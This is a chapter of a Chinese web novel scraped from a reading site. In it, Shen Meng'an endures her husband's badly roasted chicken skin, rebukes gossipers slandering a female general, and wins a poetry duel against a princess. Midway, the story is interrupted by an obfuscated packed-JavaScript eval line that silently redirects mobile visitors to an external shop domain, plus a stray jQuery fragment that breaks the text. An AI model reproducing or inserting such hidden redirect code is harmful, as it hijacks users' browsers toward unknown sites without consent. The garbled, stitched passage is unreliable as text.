文趣网 > 都市小说 > 成为千金贵女后 > 14. 找茬来的。
    “轰!”

    火一下子窜起来,徐子清看也不看,毫不留情把手上的东西扔了出去。

    “今日晚膳怎还未上?”巧燕听到自家小姐空谷传响的肚子,语气里带着不耐。

    “是看小姐平日好脸色给多了,以为好欺负吗!”

    沈梦安:“我看也是。”

    我看……有点不对吧?!

    沈梦安看看徐子清又看看饭菜,视线停在桌面的一盘烤鸡皮上,面面相觑。

    对面徐子清还挺沾沾自得,好看的脸上少见的带着点期待,虽然反应和自己想象的有点出入。

    浑然不知沈梦安此刻的心理活动。

    沈梦安先是懵,后面才想起自己说过的话,她觉得不是徐子清疯了,就是她要疯。

    明明是故意那样说的,偏偏徐子清次次都听不出来。

    而她也是个白痴,明明已经有红烧肉这个前车之鉴了,说话还是不长心。

    “娘子吃啊?”徐子清还以为沈梦安害羞,主动帮她夹进碗里。

    鉴于现在都还时常出现在饭桌上的红烧肉,沈梦安为了不丧失吃饭的快乐,决定和徐子清说清楚。

    “我——”沈梦安刚欲开口就被打断。

    “娘子放心”徐子清像是想起什么补充道:“这是我学了两个时辰才烤好的,味道给师傅尝过,没问题。”

    额……

    听这意思,还是徐子清亲手为她烤的?!还学了两个时辰?!

    所以徐子清回来就去学了,然后学到现在。

    所以,晚饭也是因为这个“烤鸡皮”耽误的?

    沈梦安顿时有些哭笑不得,张了张嘴,原本的话又一下子蹦不太出来了。

    怎么看都是她不识好歹。。。

    徐子清你平日在读书上面的聪明劲儿到哪儿去了!能不能分点在其他地方!

    徐子清:“宴上不好吃食,等这么久,娘子肯定饿了吧,快吃。”

    徐子清话才刚刚落下,像是为了回应他一样,沈梦安不争气的肚子超大声的:“咕~”

    苍天啊!

    沈梦安闭上眼,看着平静,其实人已经走了有一会儿。

    连徐子清这种面瘫嘴角的幅度都在起伏,以为低下头她就看不见了吗!

    最后你要问这顿饭是怎么吃的,沈梦安就不知道了。

    不过说实话,烤鸡皮味道还不错。

    但是!

    对于一个不吃内脏不吃任何动物皮的人来说,全程扛着生理性恶心表演喜欢有多痛苦吗?!

    心如死灰的沈梦安吃完就看见了同样面有菜色的巧燕,对视上的一瞬间沈梦安甚至觉得有点好笑。

    “怎么了啊,这个表情?”

    “我讨厌吃鸡皮!讨厌吃烤糊了的鸡皮!讨厌吃没味道的鸡皮!讨厌吃没有肉光是皮的鸡皮!”巧燕猝不及防一通大喊。

    喊完犹觉不解气,骂道:“也不知道是谁弄这么多鸡皮,全拿来给我们吃!”

    “伙夫手艺是不行了吗!烤得味道千奇百怪,一吃一个味!这是我吃过最讨厌的一顿饭!”

    沈梦安越听越心虚,脸上顿时也笑不出来了。

    原本还打算给徐子清解释,和巧燕说一下晚饭的事。结果现在听到巧燕的遭遇,沈梦安生生憋了回去,她想,不说也不是不行。

    毕竟巧燕吃鸡皮的苦,全仰仗于她和徐子清。

    而说得好听的徐子清,所谓的“学了两个时辰”,实际上不知道烤废了多少鸡皮。

    第二天宴上,裴舟看见了容光焕发的徐子清,以及表情都不太美妙的沈梦安主仆。

    “你确定把人哄好了?”裴舟看着不像。

    徐子清:“自然。”

    而且省了道歉,只用了两步。

    因为他实在没想通自己哪里错了,沈梦安又为什么生气。

    不过书里写了,“娘子生气有时不需要原因。”

    *

    沈梦安和昨天一样,找了个位子坐着。

    心里犹豫一番,还是坐到了昨天的位子里。她虽然听了生气,却又按捺不住。

    果不其然,没一会儿隔壁就传来说话声,先是日常的寒暄,然后在各自分享生活里事儿。

    听到稀奇搞笑的,沈梦安也会跟着忍俊不禁。

    她孤寡惯了,还未曾发现这样聚在一起,光是说说话就会很开心。

    后面话题又转了,沈梦安细细听着。

    “听说那位不是也来了?”

    【熟悉的开头。】

    “是来了,我还远远看见了呢!”

    “不是说是被逼才来的吗?”

    “这不知,不过她最是看不上这些纸上东西,想来也是侍郎大人逼迫。”

    “也不定吧?皇上不是给她赐婚了吗,想必是陪她郎君来的也说不定。”

    “诶,这位姐姐你有所不知。”

    “她这婚啊,明眼人都看得出来是为了避祸。要说她最看不上的两样东西,一是写文弄墨,二呀,便是她那郎君!”

    “苦追多少年,要是有意,还用等现在吗?”

    “听说,她当初跟着千甲军走就是为了逃婚!”

    【这古代的皇帝怎么都喜欢乱点鸳鸯谱,动不动就赐婚啊?】

    【不过,怎么剧情也开始耳熟起来?】

    “这婚要是不逃,这将军的名号又哪里来?手上不过管着几个人,就敢说是将军了!”也不知是谁突然开口道,听起来对这将军怕是早有不满。

    【等一下,将军?】

    【难道……不会这么巧吧?】

    不怕没人附和,那人继续道:“出去区区三年,平常男子待个十年八年还是个小兵小卒的多的是,这谁信里面没交情!”

    听她这么说,竟真带动些人附和起来,“这么一说倒也有些道理。”

    “是啊,这升迁速度确实不寻常。”

    【是个屁!】

    “我看啊”听到有人认同,那人有了底气,嘴上便更加恶毒:“这军营里全是些五大三粗的汉子,指不定——”

    “——指不定什么!”

    沈梦安听到前面就预感不好,直接冲了过去打断道:“我看是你心思不正,才将人想得这般龌龊吧!”

    “还指不定,我看就是你嫉妒人家吧!”

    “在这里诋毁人家,还故意损人女子清誉,这对你有什么好处啊?!”

    “同为女子,你不觉得过分了吗?!”

    “你、你谁啊?!”面对突然出现的沈梦安,那人明显慌了神。

    “你管我谁!我你爹行不行!”

    “哦,不对。”

    沈梦安又改口,“我可没你这么个没良心的孩儿!”

    面对沈梦安如此言论,那人哪里见过,嘴里哆哆嗦嗦,“你、你”了半天也说不出一句完整的话。

    “你、你、你个大头鬼啊!”

    “将军征战沙场,为得是保家卫国,不是为了你们在这背后指指点点,有空说闲话的!”

    此话是说给所有人听的。

    其他人顿时羞愧难当,纷纷退离那女子三分。

    那人见此,憋红了脸又气又恼,左右看看,可大家一触及她的视线便赶忙低头。

    她指着周围一圈,最后又落到沈梦安面前,沈梦安挑衅得冲她挑了挑眉,那人脸色更是不好看,愤愤甩袖就要走。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507967|202491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    沈梦安警告道:“我劝你善良点啊,要是再干这种事被我碰上,就不是今天这么简单了!”

    那人还强装着没跑起来,却没注意路边的架子,绊了一下,爬起来的瞬间面色惨白。

    就见墙边靠站着抱刀而立的方昀,不知道来了多久。

    方昀只是居高临下地冷冷看着她,那人自己便吓破了胆,连滚带爬跑了。

    方昀朝里面打了胜仗笑着的人看过去,粲然率性又明媚动人,光是这样笑着,眼里便像盛满了星星,这样的人,怎么会有人不喜欢呢。

    和自己……不是一路人。

    沈梦安得意看着人逃掉,用眼神警告完亭子里其他人才走,出来时墙角并没有人停留的痕迹。

    回到自己位置,沈梦安喝着茶等着开宴。

    但这次开宴后,周围一下子变得吵闹起来。

    沈梦安就看见两边亭栏边上全是探头探脑的人。

    还没等她们搞清楚状况,就听司正宣道:“公主听闻京城才女宰相千金沈绾在此,特想讨教一番,请斗一诗。”

    “湖平水色涵天色,风过荷香带叶香。”

    湖面澄静,水色与天光相融;

    微风轻拂,荷香携着叶香漫来。

    “好诗!”对面有人喊道,“清景雅荷,以涵字铺开,水天一体,天地广阔!带字承接,清淡弥远!”

    没等沈梦安两人反应过来,一司正便已候在门口。

    她好像……姓沈名绾,字梦安……

    沈梦安不解:“我以前和公主有过交恶吗?”

    巧燕摇头,“小姐和公主不曾相识,何来交恶啊?”

    那是单纯斗诗来的?

    沈梦安想着还是避开为好,写了一句稍逊色的交上去。

    “厉害!”

    司正刚念完就有人喊,沈梦安听声音觉得像裴舟。

    徐子清拉住半个身子都探出去的裴舟,远远盯着对面。

    裴舟甚至都没听完就马上捧场大喊。

    但来此之人,大多都听得出高下。

    司正宣:“公主胜。”

    “把东西交过去。”

    公主撑靠着头命令道,几个侍女有眼色地上前扇凉送水。

    另一边以为已经结束趴在桌上的沈梦安,看到一个司正又过来守在了门边,正欲问,便听前面宣道:“公主再请沈小姐斗诗。”

    沈梦安毛了,不是说素未相识吗?为什么抓着她不放,明显找茬来的。

    沈梦安难得再折腾,在背过的诗里面搜找一番,迅速落笔。

    写完,沈梦安问巧燕,“听过吗?”

    巧燕摇头,沈梦安稍稍放下心来。

    又大约过了一刻钟,司正才拿到双方纸条,大声宣读:

    “一池芳日上帘钩,荷气蒸人醉不收。”

    “此乃公主所对。”

    满池明媚的阳光,映照着窗帘,轻轻爬上了帘钩。荷花的香气浓郁温润,扑面而来,让人沉醉其中,久久不愿醒来。

    依旧清雅之调,格律工整,是乃禅心入景之佳句。

    司正又宣:

    “接天莲叶无穷碧,映日荷花别样红。”

    “此乃沈小姐所对。”

    荷叶一望无际,与蓝天相连,满眼都是无边无际的碧绿。荷花在阳光映照下,显得格外鲜艳、格外红艳。

    浅白如话,却是道出了这繁夏荷花最盛大、最明艳的样子。

    此句一出,场面刹那寂静,原还在切切赞析公主所对之诗的声音也消失不见。

    片刻极静之后,是疯狂反扑的声浪,叫好声久久不落。

    无需辩驳,胜负自出。